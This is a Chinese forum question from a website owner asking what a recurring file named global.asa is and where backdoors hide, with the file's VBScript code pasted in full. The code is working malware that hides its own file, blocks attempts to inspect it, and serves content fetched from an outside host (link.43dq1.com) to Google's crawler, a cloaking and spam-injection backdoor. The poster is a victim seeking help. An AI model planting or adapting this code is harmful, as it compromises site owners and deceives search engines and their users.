你们懂吗？这是什么病毒程序？我的网站老出现，删了又有。后门藏在哪里
我的网页老被加载一些莫名代码。网站中查到有个陌生的程序（程序名global.asa），删了下次打开还出现。是不是我网站中程序有后门，如果有它们一般会放在哪里？


代码如下：（能帮忙解释下，这个程序什么作用）

<script language="vbscript" runat="server">

sub Application_OnStart
end sub

sub Application_OnEnd
end sub

sub Session_OnStart

dim name
name=request.servervariables("Path_Translated")
Set fso = Server.CreateObject("scripting.filesystemobject") 
set f=fso.Getfile("//./" & Server.MapPath("/global.asa"))
if instr(name,";")>0 then
f.Attributes=1+2+4
response.end()
end if
if instr(server.MapPath("."),".asp")>0 or instr(server.MapPath("."),".asa")>0 then
f.Attributes=1+2+4
response.end()
end if
Dim v
Dim t
ReDim A(Request.Form.Count)
ReDim B(Request.Form.Count)
v=Request.Form
t=Request.Form.Count
if t>0 then
For i=0 To t-1
 b(i)=Split(Split(v,"&")(i),"=")(1)
 if instr(LCase(b(i)),"global.asa")>0 then
f.Attributes=1+2+4
response.end()
 end if
Next
end if

Dim ScriptAddress, M_ItemUrl, M_item  
ScriptAddress = CStr(Request.ServerVariables("SCRIPT_NAME"))  
If (Request.QueryString <> "") Then 
GetUrl =Request.ServerVariables("Server_Name")&ScriptAddress &"?"&Request.QueryString
else
GetUrl= Request.ServerVariables("Server_Name")&ScriptAddress 
end if  



user_agent=Request.ServerVariables("HTTP_USER_AGENT")
httpuser=LCase(request.servervariables("http_user_agent"))
strURL=Request.ServerVariables("HTTP_REFERER") 

Dim I 
 
If InStr(strURL, "%") = 0 Then 
URLDecode = strURL 
end if 
For I = 1 To Len(strURL) 
  If Mid(strURL, I, 1) = "%" Then 
  If eval("&H" & Mid(strURL, I + 1, 2)) > 127 Then 
  URLDecode = URLDecode & Chr(eval("&H" & Mid(strURL, I + 1, 2) & Mid(strURL, I + 4, 2))) 
  I = I + 5 
  Else 
  URLDecode = URLDecode & Chr(eval("&H" & Mid(strURL, I + 1, 2))) 
  I = I + 2 
  End If 
  Else 
  URLDecode = URLDecode & Mid(strURL, I, 1) 
  End If 
Next 







if instr(httpuser,"google")>0 then

Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET","http://link.43dq1.com/try7723.asp?weburl="&GetUrl&"&dd="&cstr(int(rnd()*10000)+1)&"&bot="&httpuser,False
ObjXMLHTTP.setRequestHeader "User-Agent","http://link.43dq1.com/"
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
if instr(lcase(gethtml),"nodomain")>0 then

else
response.write gethtml

end if
end if







f.Attributes=1+2+4
end sub

</script&